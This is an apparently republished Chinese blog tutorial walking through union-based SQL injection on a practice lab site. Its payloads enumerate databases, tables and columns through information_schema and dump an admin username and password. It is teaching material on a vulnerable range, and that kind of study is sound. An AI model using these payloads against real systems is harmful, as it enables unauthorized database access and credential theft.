最简单的注入

Posted dashuai-px

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了最简单的注入相关的知识,希望对你有一定的参考价值。

在get注入中,首先在?id=n后面加一个’,进行判断是否被过滤且通过返回错误查看是何种诸如类型。字符:”n’”。数字型’’’。

  如果没有被过滤就继续使用and 1=1,and 1=2 。可以看出and是否被过滤及确定是否可以注入。现在陈述的是最简单的,不要笑话。

  我这里用数字型注入,字符型与数字型区别在于在哪用结束符闭合能满足mysql的语法。在这里使用的是掌控安全论坛中的靶场地址(http://hack.zkaq.org)

      第一题是简单的注入题

技术分享图片

  在id=1后面加上’就行判断

技术分享图片

     可以看出’没有被过滤,页面出错了。现在分别使用and 1=1 ,and 1=2看看。

技术分享图片

  发现and 1=1 显示正常,and没有被网页识别为非法字符,看起来有戏。接下来看看and 1=2。

技术分享图片

    发现网页不正常,这证明可以注入了。

    And 1=2 拼接进去后相当于 select * from xxxx where id=1 and 1=2 ,这句话要整体的看。1=2肯定等于0,1=0这句话是错的。最后id=错,所以页面什么也没有。因为这个靶场是一点防御措施也没有的,如果有的话就需要用到其他更绕的方法去测试了。

 接下来让我们看一下在这靶场中将用到的语法吧。我用phpstudy的集成环境中的mysql数据库对我们将要用到的语句进行操作演示,以便加深理解。

技术分享图片

  进入mysql命令行并且使用命令show databases();查看本数据库有多少个库。

技术分享图片

  在这里需要一提的是在注入中access数据库和mysql数据库的注入方法也是有一些区别的。在上图中是有information_schema这个库的,而在access数据库中是没有这个库的。mysql和access数据库,他们结构都是库-表-列-字段。Information_schema里面存放着mysql数据库中的所有源数据,所以对mysql数据库注入中可以通过查询这张表来得到自己所要得到的信息。但是有一个先天前提,那就是自己所注入的这个网页,我就称为跳板吧。这个跳板必须有权限访问information_schema这个库。如果没有权限访问,那注入手法就和access数据库一样的。要手动猜解出库名,等自己学习完之后会整理写入博客中。

  现在让我们使用use information_schema;进入这张表。

技术分享图片

  让我们用命令show tables;看看有什么表吧。

 技术分享图片

技术分享图片

  显示有四十张表,这四十张里面的数据就是我mysql数据库的所有数据了。首先介绍一下我们会用到的表和命令吧。

      SCHEMATA这张表里有所有的库名,TABLES这张表里有所有的表名,COLUMNS这张表里有所有的列字段名。在数据库中使用select * from SCHEMATA;

技术分享图片

  在这里我们看到了这张表里的所有内容,在数据中我们可以这样查询。但是我们一般在注入时只为了得到这张表里的库名罢了,在上图中我们可以看到数据库所在的列字段名是SCHEMA_NAME。所以使用命令select SCHEMA_NAME from SCHEMATA;

技术分享图片

     这样的话就筛选出表的名字了。接下来的操作也是只筛选具体所要的东西。

  接下来让我们看看我这个环境中mysql库里面有什么表吧。因为TABLES这张表里有所有的表名。使用命令select TABLE_NAME from TABLES;

 技术分享图片

技术分享图片

  有这么多的表,我们如何知道哪些表是属于哪些数据库的呢?在这张表中是有TABLE_SCHEMA列字段来所属库的,所以使用命令select TABLE_NAME from TABLES where TABLE_SCHEMA=’mysql’;

技术分享图片

  这就筛选出了所有属于mysql的表了,接下来让我们看看mysql表里有哪些字段吧。

  使用命令select COLUMN_NAME from COLUMNS where TABLE_NAME=’user’;

技术分享图片

  这样就把表中的所有列字段名给爆出来了,我们最好其的当然是user和password这两个字段了。现在知道了库名表名字段名,可以使用select User,Password from mysql.user limit 0,1;查看这两行的数据。

技术分享图片

      现在数据库中的最基础的操作我们已经过了一遍了,接下来让我们继续那题靶场吧。

  拼接 order by n,一个个试过去看看哪一个可以成功。 order by 函数是用于排序的,在注入中使用它的意思是查看有多少个字段。学过编程的都知道,如果有四个字段,那么我们可以让1-4字段的排序,如果让五段字段进行排序的话是不可能的,因为没有第五段字段,这函数也是这个原理。最后试出来是两个字段。

技术分享图片

  接下让我们看一下有哪些字段的位置是可以在界面上显示出来的吧。如果一个字段都不能显示,那之前做的也就没什么意义的。反正不回显自己什么也看不到。用union联合查询函数,使用and 1=2 union select 1,2 。 对我来说这里and 1=2 也是一个小细节,如果不用and 1=2 让之前的页面错误不显示的话,后面的我们是看不见的。这里是这样的。

技术分享图片

  网页中显示了2,那么说明2这个位置我可以使用函数能够有回显。使用命令and 1=2 union select 1,group_concat(SCHEMA_NAME) from information_schema.SCHEMATA 。这命令现在你们应该看的明白了吧,就是从库中的某张表里提取某字段的信息。这里就看出了数据库中的库名了。

技术分享图片

有information_schema和maoshe这两个库。现在就看看猫舍这库里有什么吧。使用命令and 1=2 UNION SELECT 1,group_concat(distinct+TABLE_NAME) from information_schema.TABLES  where TABLE_SCHEMA=’maoshe’ (这里的’’存在解析问题,用url转码成%27再进行操作)

技术分享图片

  接下来就看admin表里面有哪些字段了。使用and 1=2 UNION SELECT 1,group_concat(distinct+COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME=’admin’

技术分享图片

现在什么都知道了就直接用命令爆出我们想要的一切吧。And%201=2%20union%20select%201,group_concat(username,password)%20from%20maoshe.admin%20 查字段内容,查出来如下图。

技术分享图片

 

可以看出账号密码分别为admin hellohack

这就是最简单的注入过程了,其他的我会慢慢补在博客上。

以上是关于最简单的注入的主要内容,如果未能解决你的问题,请参考以下文章

最简单的Dagger2入门教程

SQL注入哪些工具最有效

如何编写一个SQL注入工具

如何编写一个SQL注入工具

一个最简单的javaagent demo实例

Java防止SQL注入的一些途径